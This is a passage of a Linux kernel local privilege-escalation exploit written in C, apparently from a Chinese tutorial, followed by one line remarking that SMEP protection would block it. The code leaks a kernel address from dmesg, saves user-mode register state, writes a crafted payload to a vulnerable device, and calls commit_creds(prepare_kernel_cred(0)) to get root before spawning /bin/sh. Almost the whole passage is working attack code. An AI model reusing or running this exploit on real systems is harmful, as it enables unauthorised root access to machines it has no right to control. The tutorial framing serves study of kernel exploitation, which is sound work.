     
116.     register unsigned long rsp asm("rsp");
     
117.     unsigned long sp = (unsigned long)rsp;
     
118.     memcpy(p,&sp,8);
     
119.     p+=8;
     
120.     /* user_ss                        */
     
121.     memcpy(p,&user_ss,8);
     
122. 
     
123.     /* trig the vuln                  */
     
124.     printf("[+] Trig the vulnerablity...\n");
     
125.     write(fd, payload, 300);
     
126. 
     
127. 
     
128.     return 0;
     
129. 
     
130. }
     
131. 
     
132. 
     
133. 
     
134. 
     
135. 
     
136. unsigned long findAddr() {
     
137.     char line[512];
     
138.     char string[] = "Freeing SMP alternatives memory";
     
139.     char found[17];
     
140.     unsigned long addr=0;
     
141. 
     
142.     /* execute dmesg and place result in a file */
     
143.     printf("[+] Excecute dmesg...\n");
     
144.     system("dmesg > /tmp/dmesg");
     
145. 
     
146.     /* find: Freeing SMP alternatives memory    */
     
147.     printf("[+] Find usefull addr...\n");
     
148. 
     
149.     FILE* file = fopen("/tmp/dmesg", "r");
     
150. 
     
151. 
     
152.     while (fgets(line, sizeof(line), file)) {
     
153.         if(strstr(line,string)) {
     
154.             strncpy(found,line+53,16);
     
155.             sscanf(found,"%p",(void **)&addr);
     
156.             break;
     
157.         }
     
158.     }
     
159.     fclose(file);
     
160. 
     
161.     if(addr==0) {
     
162.         printf("    dmesg error...\n");
     
163.         exit(1);
     
164.     }
     
165. 
     
166.     return addr;
     
167. }
     
168. 
     
169. static void save_state() {
     
170.     asm(
     
171.         "movq %%cs, %0\n"
     
172.         "movq %%ss, %1\n"
     
173.         "pushfq\n"
     
174.         "popq %2\n"
     
175.         : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory"     );
     
176. }
     
177. 
     
178. void shell(void) {
     
179.     printf("[+] getuid() ...");
     
180.     if(!getuid()) {
     
181.         printf(" [root]\n[+] Enjoy your shell...\n");
     
182.         system("/bin/sh");
     
183.     } else {
     
184.         printf("[+] not root\n[+] failed !!!\n");
     
185.     }
     
186. }
     
187. 
     
188. /* function to get root id */
     
189. void getroot (void)
     
190. {
     
191.     commit_creds(prepare_kernel_cred(0));
     
192. }

复制代码

▲这里如果加了SMEP保护，那么就会出现下列的错误：

• 
  

unable to execute userspace code (SMEP?) (uid: 1000)

​

​